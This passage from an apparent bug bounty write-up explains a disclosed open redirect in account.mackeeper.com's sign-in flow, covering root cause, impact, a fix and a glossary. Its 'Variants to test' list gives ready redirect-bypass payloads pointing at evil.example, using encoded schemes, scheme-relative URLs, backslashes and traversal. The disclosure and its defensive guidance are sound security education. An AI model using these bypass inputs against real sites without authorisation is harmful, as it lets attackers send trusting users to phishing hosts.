  • Expires and Cache-Control: no-store, no-cache... and Pragma: no-cache tell the browser and any proxy not to keep a copy of this response. That matters for a sign-in response, which should never be reused.
  • Location is the important line. It is the fully decoded form of the path segment: the double encoding has been peeled off, and the browser is sent to https://account.w1hack.com/provider/login/ with the OpenID parameters now single-encoded. This is the proof of the bug: the trusted site is telling the browser to go to a host that is not account.mackeeper.com.
  • Strict-Transport-Security tells the browser to use https for this site for the next year, including subdomains.
  • X-Content-Type-Options: nosniff stops the browser from guessing a different content type than the one declared, which prevents some attacks where a file is treated as a script.
  • Content-Length: 0 says the body is empty. The whole message is in the status line and headers.

Root cause

The endpoint takes the destination from the URL path and uses it directly in the Location header after decoding. There is no check that the decoded value is a relative path on account.mackeeper.com, so an absolute URL survives decoding and becomes the redirect target. The value is double-encoded in the request and decoded in stages before it reaches the Location header.: the first decode produces a still-encoded URL, and the second decode produces the external URL that ends up in Location. The report does not describe the server-side code, so the exact point where the check is missing is likely in the redirect construction rather than in the form handling.

Impact

The result is an open redirect on the account sign-in flow: a link on the trusted account.mackeeper.com domain sends the user to an attacker-controlled host after sign-in. The report does not describe any further use of the redirect, such as phishing or token theft, and the program rated it low severity. The practical impact depends on a victim following the crafted link and completing the sign-in step, since the redirect is produced by the sign-in POST.

Fix

The fix that follows from the root cause is to validate the destination after decoding: accept only relative paths, reject values that contain a scheme or host, and perform the check on the fully decoded value rather than on the raw path segment.

Variants to test

  1. Single encoding instead of double: put https%3A%2F%2Fevil.example after the continuation path and see whether the response Location points off-site.
  2. Scheme-relative values: try //evil.example/path and its encoded forms, and check whether the redirect leaves the host.
  3. Backslash and mixed separators: try \evil.example and /%5Cevil.example, and look for a Location that resolves to another host.
  4. Encoded scheme characters: try %68%74%74%70%3A%2F%2Fevil.example and check whether decoding happens before or after validation.
  5. Path traversal into an absolute URL: try values such as /../..//evil.example and see whether normalisation produces an off-site target.
  6. Query-string based destinations: if the same endpoint accepts a destination parameter in the query, repeat the tests there.

A positive result in each case is a 302 whose Location header names a host other than account.mackeeper.com.

Hunting notes

Sign-in and continuation endpoints are a good place to look for this bug because they often carry a return path so users land where they started. The signal during recon is a path segment or parameter that looks like a URL, especially when it is encoded more than once. Testing is cheap: change the value to an external host, submit the form, and read the Location header. The report shows the full request and the 302 response with the external Location.

Glossary

  • 302: an HTTP status code meaning "moved temporarily"; the browser follows the Location header automatically.
  • API: a defined way for one piece of software to talk to another, like a service counter with fixed forms to fill in.
  • Cookie: a small piece of text a site stores in your browser and gets back on later requests, often used to keep you logged in.
  • CSRF token: a value placed in a form so the server can tell a genuine submission from one forged by another site.
  • Decoding: turning encoded characters back into their real form, for example %2F back into /.
  • Double encoding: encoding a value twice, so one decoding step still leaves it encoded.
  • Header: labelled extra information attached to an HTTP request or response, such as Host or Location.
  • Host: the part of a web address that names the site, for example account.mackeeper.com.
  • HTTP: the language browsers and servers use to exchange requests and responses.
  • HTTPS: HTTP wrapped in encryption, so the traffic cannot be read or changed in transit.
  • httponly: a cookie flag meaning page scripts cannot read the cookie.
  • JWT: a signed token that carries claims, such as which user is logged in.
  • Location header: the response header that tells the browser where to redirect to.
  • nginx: a common web server program.
  • Open redirect: a bug where a trusted site's link sends the user to a site of someone else's choosing.
  • OpenID: a sign-in system where one site asks another to confirm a user's identity.
  • Origin: a header telling the server which site a request came from.
  • Path: the part of a URL after the host, for example /auth/signin/continue/.
  • POST: an HTTP method used to send data, such as a sign-in form, to the server.
  • Query string: the part of a URL after ?, made of name=value pairs separated by &.
  • Redirect: a server instruction telling the browser to go to a different address.
  • Referer: a header saying which page a request came from.
  • Relative path: a path on the same site, without a scheme or host, such as /style/mac.
  • Sanitisation: cleaning or checking input before using it.
  • Scheme: the first part of a URL, such as https, that says how to fetch it.
  • secure: a cookie flag meaning the cookie is only sent over HTTPS.
  • Token: a value that proves something, such as a login or a genuine form submission.
  • URL: a web address, made of a scheme, a host and a path, plus optional query string.
  • User-Agent: a header identifying the browser and operating system.
  • X-Content-Type-Options: a header that stops the browser guessing a different content type than declared.

More by dilawer

View all

3 more disclosed reports, best first.

More from Clario

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Open redirect

The lesson behind this report.

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.